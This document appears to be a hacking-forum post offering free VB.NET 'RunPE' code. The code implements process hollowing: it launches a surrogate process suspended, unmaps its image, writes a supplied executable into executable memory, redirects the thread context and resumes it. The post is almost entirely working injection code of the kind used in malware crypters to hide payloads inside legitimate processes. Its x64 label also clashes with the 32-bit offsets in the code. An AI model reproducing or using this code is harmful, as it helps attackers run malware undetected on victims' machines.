.NET FREE x64Bit RunPE [No Shitcash or anything]

Code
Imports System.Runtime.InteropServices

Imports System.Text



Public Class RunPE

    <DllImport("kernel32")> _

    Private Shared Function CreateProcess(appName As String, commandLine As StringBuilder, procAttr As IntPtr, thrAttr As IntPtr, <MarshalAs(UnmanagedType.Bool)> inherit As Boolean, creation As Integer, _

  env As IntPtr, curDir As String, sInfo As Byte(), pInfo As IntPtr()) As <MarshalAs(UnmanagedType.Bool)> Boolean

    End Function

    <DllImport("kernel32")> _

    Private Shared Function GetThreadContext(hThr As IntPtr, ctxt As UInteger()) As <MarshalAs(UnmanagedType.Bool)> Boolean

    End Function

    <DllImport("ntdll")> _

    Private Shared Function NtUnmapViewOfSection(hProc As IntPtr, baseAddr As IntPtr) As UInteger

    End Function

    <DllImport("kernel32")> _

    Private Shared Function ReadProcessMemory(hProc As IntPtr, baseAddr As IntPtr, ByRef bufr As IntPtr, bufrSize As Integer, ByRef numRead As IntPtr) As <MarshalAs(UnmanagedType.Bool)> Boolean

    End Function

    <DllImport("kernel32.dll")> _

    Private Shared Function ResumeThread(hThread As IntPtr) As UInteger

    End Function

    <DllImport("kernel32")> _

    Private Shared Function SetThreadContext(hThr As IntPtr, ctxt As UInteger()) As <MarshalAs(UnmanagedType.Bool)> Boolean

    End Function

    <DllImport("kernel32")> _

    Private Shared Function VirtualAllocEx(hProc As IntPtr, addr As IntPtr, size As IntPtr, allocType As Integer, prot As Integer) As IntPtr

    End Function

    <DllImport("kernel32", CharSet := CharSet.Auto, SetLastError := True)> _

    Private Shared Function VirtualProtectEx(hProcess As IntPtr, lpAddress As IntPtr, dwSize As IntPtr, flNewProtect As UInteger, ByRef lpflOldProtect As UInteger) As Boolean

    End Function

    <DllImport("kernel32.dll", SetLastError := True)> _

    Private Shared Function WriteProcessMemory(hProcess As IntPtr, lpBaseAddress As IntPtr, lpBuffer As Byte(), nSize As UInteger, lpNumberOfBytesWritten As Integer) As Boolean

    End Function



    Public Shared Function InjectPE(bytes As Byte(), surrogateProcess As String) As Boolean

  Try

    Dim procAttr As IntPtr = IntPtr.Zero

    Dim processInfo As IntPtr() = New IntPtr(3) {}

    Dim startupInfo As Byte() = New Byte(67) {}



    Dim num2 As Integer = BitConverter.ToInt32(bytes, 60)

    Dim num As Integer = BitConverter.ToInt16(bytes, num2 + 6)

    Dim ptr4 As New IntPtr(BitConverter.ToInt32(bytes, num2 + &H54))



    If CreateProcess(Nothing, New StringBuilder(surrogateProcess), procAttr, procAttr, False, 4, _

    procAttr, Nothing, startupInfo, processInfo) Then

    Dim ctxt As UInteger() = New UInteger(178) {}

    ctxt(0) = &H10002

    If GetThreadContext(processInfo(1), ctxt) Then

  Dim baseAddr As New IntPtr(ctxt(&H29) + 8L)



  Dim buffer__1 As IntPtr = IntPtr.Zero

  Dim bufferSize As New IntPtr(4)



  Dim numRead As IntPtr = IntPtr.Zero



  If ReadProcessMemory(processInfo(0), baseAddr, buffer__1, CInt(bufferSize), numRead) AndAlso (NtUnmapViewOfSection(processInfo(0), buffer__1) = 0) Then

  Dim addr As New IntPtr(BitConverter.ToInt32(bytes, num2 + &H34))

  Dim size As New IntPtr(BitConverter.ToInt32(bytes, num2 + 80))

  Dim lpBaseAddress As IntPtr = VirtualAllocEx(processInfo(0), addr, size, &H3000, &H40)



  Dim lpNumberOfBytesWritten As Integer



  WriteProcessMemory(processInfo(0), lpBaseAddress, bytes, CUInt(CInt(ptr4)), lpNumberOfBytesWritten)

  Dim num5 As Integer = num - 1

  For i As Integer = 0 To num5

  Dim dst As Integer() = New Integer(9) {}

  Buffer.BlockCopy(bytes, (num2 + &Hf8) + (i * 40), dst, 0, 40)

  Dim buffer2 As Byte() = New Byte((dst(4) - 1)) {}

  Buffer.BlockCopy(bytes, dst(5), buffer2, 0, buffer2.Length)



  size = New IntPtr(lpBaseAddress.ToInt32() + dst(3))

  addr = New IntPtr(buffer2.Length)



  WriteProcessMemory(processInfo(0), size, buffer2, CUInt(addr), lpNumberOfBytesWritten)

  Next

  size = New IntPtr(ctxt(&H29) + 8L)

  addr = New IntPtr(4)



  WriteProcessMemory(processInfo(0), size, BitConverter.GetBytes(lpBaseAddress.ToInt32()), CUInt(addr), lpNumberOfBytesWritten)

  ctxt(&H2c) = CUInt(lpBaseAddress.ToInt32() + BitConverter.ToInt32(bytes, num2 + 40))

  SetThreadContext(processInfo(1), ctxt)

  End If

    End If

    ResumeThread(processInfo(1))

    End If

  Catch

    Return False

  End Try

  Return True

    End Function

End Class